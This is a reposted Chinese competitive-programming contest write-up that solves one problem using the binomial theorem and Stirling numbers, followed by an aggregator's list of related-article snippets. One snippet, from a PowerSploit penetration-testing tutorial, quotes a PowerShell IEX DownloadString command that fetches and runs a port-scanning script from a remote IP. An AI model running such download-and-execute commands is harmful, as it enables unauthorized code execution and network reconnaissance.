正睿2019省選附加賽 Day10 (這篇其實已經都咕咕了...)

目錄

  • 2019.3.13
    • A.算算算(二項式定理 斯特林數)
    • B.買買買
    • C.樹樹樹

2019.3.13

比賽鏈接

A.算算算(二項式定理 斯特林數)

題目鏈接

\(x^k\)可以用二項式定理展開,需要維護的就是\(0\sim k\)次方的\(\sum_{j}F(j,i)\)。加入一個數時,每一項都要再用一遍二項式定理更新,復雜度是\(O(nk^2)\)的。
每次加入的數都是一位數,考慮如何從\(x^k\)變到\((x+1)^k\)。注意到有\(x^k=\sum\limits_{i=0}^kS(k,i)C(x,i)i!\)\(S\)是第二類斯特林數),從\(x\)變成\(x+1\)只需維護\(C(x+1,i)\)即可(然后可以用這個式子\(O(k)\)算出\((x+1)^k\))。
\(C(x+1,i)=C(x,i)+C(x,i-1)\),所以這個可以\(O(1)\)更新。
\(x^k\)變成\((x+a)^k\)就重復這個過程\(a\)次即可。
\(a^k+b^k=\sum\limits_{i=0}^kS(k,i)\big(C(a,i)+C(b,i)\big)i!\),新加入一個數可以直接更新\(C(x,i)\)
復雜度\(O(Ank)\)\(A\)是所有數位的平均值,隨機數據下是\(4.5\)

還有一種容斥做法,\(O(nk)\)的,太菜了看不懂。
\[s_i=\sum_{j=1}^ia_j\\Ans_i=\sum_{j=0}^k(-1)^jC_k^js_i^{k-j}\left(\sum_{l=0}^{i-1}s_l^j\right)\]


咕咕了

B.買買買

題目鏈接

看不懂。留坑。(然而高考前怕是填不上了...)



C.樹樹樹

題目鏈接

貌似是模板題,不管了。



轉載于:https://www.cnblogs.com/SovietPower/p/10543336.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/449584.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/449584.shtml
英文地址,請注明出處:http://en.pswp.cn/news/449584.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

freemarker 從 spring boot execute jar可執行jar中訪問模板文件

2019獨角獸企業重金招聘Python工程師標準>>> private static Configuration freemarkerCfg null;static {freemarkerCfg new Configuration();//freemarker的模板目錄try {String pathPrefix "/";// 為了支持能從execute jar 中獲取模板文件URI uri C…

獲取所有股票數據

#%%#先引入后面可能用到的包(package) import pandas as pd import numpy as np import matplotlib.pyplot as plt import seaborn as sns sns.set() %matplotlib inline #正常顯示畫圖時出現的中文和負號 from pylab import mpl mpl.rcParams[font.…

POWERSPLOIT-Recon(信息偵察)腳本滲透實戰

Recon(信息偵察)模塊 a) 調用invoke-Portscan掃描內網主機的端口。 1)通過IEX下載并調用invoke-portscan。 PS C:\Users\Administrator> IEX(New-Object net.webclient).DownloadString("http://192.168.190.141/PowerSploit/Recon/Invoke -Portscan.ps1&qu…

股票代碼前面為0,補齊6位數

df[code] df[code].apply(lambda x:str(x).zfill(6))

在CentOS 6上搭建LNMP環境

簡介LNMP是Linux、Nginx、MySQL和PHP的縮寫,這個組合是最常見的WEB服務器的運行環境之一。本文將帶領大家在CentOS 6操作系統上搭建一套LNMP環境。 本教程適用于CentOS 6.x版本。 在安裝LNMP環境之前,您需要先對CentOS操作系統做一些初始化的工作&#x…

前端技術周刊 2019-01-21:跨端開發的三條路線

2019-01-21 前端快爆 微軟 Edge 開發者意圖為 Chrome 實現 HTML Modules,該規范用來替代之前的 HTML Imports。其優點是基于 ES Modules,可以避免全局對象污染、腳本解析阻塞等問題。?點評:舉報,有人在「秀恩愛」! &l…

分配內存的方法,需要32位對齊

type 是char,short,int 。 #define DATA_ALIGN 1 #if DATA_ALIGN && WIN32 && (_MSC_VER > 1300) #define my_malloc(type,len) _aligned_malloc(sizeof(type) *(len), 32) #define my_free(ptr) _aligned_free(ptr) #e…

zabbix-02-CentOS7.4安裝zabbix4.0

一、環境準備 1.1 主機規劃 這里先對本次實驗的機器做一個規劃,之后的實驗均通過這兩臺機器完成。 序號IP地址主機名CPU內存硬盤安裝服務110.0.0.11zabbix-server1C2G20GBzabbix服務端210.0.0.12zabbix-agent1C1G20GBzabbix客戶端1.2 操作系統選擇 操作系統選擇&…

再談并發

再談并發 上一篇python并發中講到了,使用多進程,多線程,多任務來加快程序的運行。其中講到的一點似乎有點問題,操作系統中線程是調度器的最小執行單位,那為何python中的多線程無法利用多核,只能在一個處理器…

centos6.8安裝docker,kong-dashboard并實現頁面訪問

前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。 我們通過kong-dashboard的admin-UI管理界面進行直觀的查看。最終顯示界面如圖: 因為這個kong-dashboard要用到docker&#x…

leetcood學習筆記-204-計算質數

題目描述: 第一次提交;(超時): class Solution:def countPrimes(self, n: int) -> int:count 0for i in range(2,n):for j in range(2,i1):if i%j 0 and j!i:breakif ji:count1return count 別人家的: 這題搜到一個非常牛逼的算法,叫做厄…

linux man

nameman - 即 manual ,在線查看命令手冊。 描述man 是一個系統手冊,man 的每一個選項通常是命令名,查找顯示選項中的每個相關聯的手冊頁,默認操作按照指順序,按屏打印顯示。 下表顯示手冊章節號,以及它們包…

centos-install-kong-cassandra

轉自:http://blog.54im.com/2016/12/15/centos-install-kong-cassandra/#前置閱讀 對于一些傳統的大型項目,傳統的方式會有一些缺陷,比如說新人熟悉系統成本高(因為整個系統作為一個整體,彼此會有一定的牽連&#xff0…

akshare做mfi策略

#!/usr/bin/env python # coding: utf-8#先引入后面可能用到的包(package) import pandas as pd import numpy as np import matplotlib.pyplot as plt#正常顯示畫圖時出現的中文和負號 from pylab import mpl mpl.rcParams[font.sans-serif][SimHei] …

第二章學習小結

第二章學習小結 對比于上學期所學的知識,能切實感覺到這個學期的課程更加深入和抽象,在學習上難度也有所增加,雖然上個學期就聽老師推薦過博客園,但是真正開始寫博客還是第一次,最直觀的感受就是在完成博客的過程中&am…

翁同龢后人向上海博物館捐贈兩件重要家藏

1月24日,翁萬戈先生捐贈書畫儀式在上海博物館內舉行。 上海博物館 供圖 1月24日,翁萬戈先生捐贈書畫儀式在上海博物館內舉行。 上海博物館 供圖 中新網上海1月24日電 (王笈)翁同龢后人翁以鈞24日攜夫人柳至善,代表翁萬戈將兩件翁氏家族的重要…

mysql數據庫操作

連接mysql from sqlalchemy import create_engine import pandas as pd import numpy as np import matplotlib.pyplot as plt import pymssql from scipy.interpolate import interp1dfrom datetime import timedelta #正常顯示畫圖時出現的中文和負號 from pylab import mpl…

AutoHotkey調用VBA實現批量精確篩選數據透視表某字段內容。

如上圖,想在數據透視表中只顯示紅色區域的內容,手動勾選就比較繁瑣。 實現思路: 先復制紅色的內容。鼠標停留在數據透視表【型號】列的任意數據上(通過該單元格可以獲取數據透視表和字段)由于數據透視表的字段不能全部…

SQL中的case when then else end用法

前些天發現了一個巨牛的人工智能學習網站,通俗易懂,風趣幽默,忍不住分享一下給大家。點擊跳轉到教程。 Case具有兩種格式。簡單Case函數和Case搜索函數。 --簡單Case函數 CASE sexWHEN 1 THEN 男WHEN 2 THEN 女 ELSE 其他 END --Case搜索函數…